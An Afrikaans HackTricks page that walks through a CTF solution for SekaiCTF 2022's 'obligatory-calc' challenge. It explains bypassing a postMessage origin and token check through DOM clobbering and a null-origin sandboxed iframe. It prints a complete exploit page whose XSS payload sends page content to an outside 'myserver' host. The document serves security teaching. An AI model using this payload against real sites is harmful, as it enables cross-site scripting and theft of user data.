hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

95 lines
6.1 KiB
Markdown

# Bypassing SOP with Iframes - 2
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Iframes in SOP-2
In die [**oplossing**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) vir hierdie [**uitdaging**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) stel 'n soortgelyke metode voor soos in die vorige afdeling. Kom ons kyk daarna.
In hierdie uitdaging moet die aanvaller **bypass** hierdie:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
As hy dit doen, kan hy 'n **postmessage** met HTML-inhoud stuur wat in die bladsy geskryf gaan word met **`innerHTML`** sonder sanitasie (**XSS**).
Die manier om die **eerste kontrole** te omseil, is deur **`window.calc.contentWindow`** **`undefined`** te maak en **`e.source`** **`null`** te maak:
* **`window.calc.contentWindow`** is eintlik **`document.getElementById("calc")`**. Jy kan **`document.getElementById`** oorheers met **`<img name=getElementById />`** (let op dat die Sanitizer API -[hier](https://wicg.github.io/sanitizer-api/#dom-clobbering)- nie geconfigureer is om teen DOM oorheersing aanvalle in sy standaardtoestand te beskerm nie).
* Daarom kan jy **`document.getElementById("calc")`** oorheers met **`<img name=getElementById /><div id=calc></div>`**. Dan sal **`window.calc`** **`undefined`** wees.
* Nou moet ons hê dat **`e.source`** **`undefined`** of **`null`** moet wees (want `==` word gebruik in plaas van `===`, **`null == undefined`** is **`True`**). Om dit te kry, is "maklik". As jy 'n **iframe** skep en 'n **postMessage** daaruit stuur en onmiddellik die iframe **verwyder**, sal **`e.origin`** **`null`** wees. Kontroleer die volgende kode.
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
Om die **tweede kontrole** oor die token te omseil, stuur **`token`** met die waarde `null` en maak **`window.token`** se waarde **`undefined`**:
* Om `token` in die postMessage met die waarde `null` te stuur, is trivial.
* **`window.token`** in die oproep van die funksie **`getCookie`** wat **`document.cookie`** gebruik. Let daarop dat enige toegang tot **`document.cookie`** in **`null`** oorsprong bladsye 'n **fout** veroorsaak. Dit sal maak dat **`window.token`** die **`undefined`** waarde het.
Die finale oplossing deur [**@terjanq**](https://twitter.com/terjanq) is die [**volgende**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}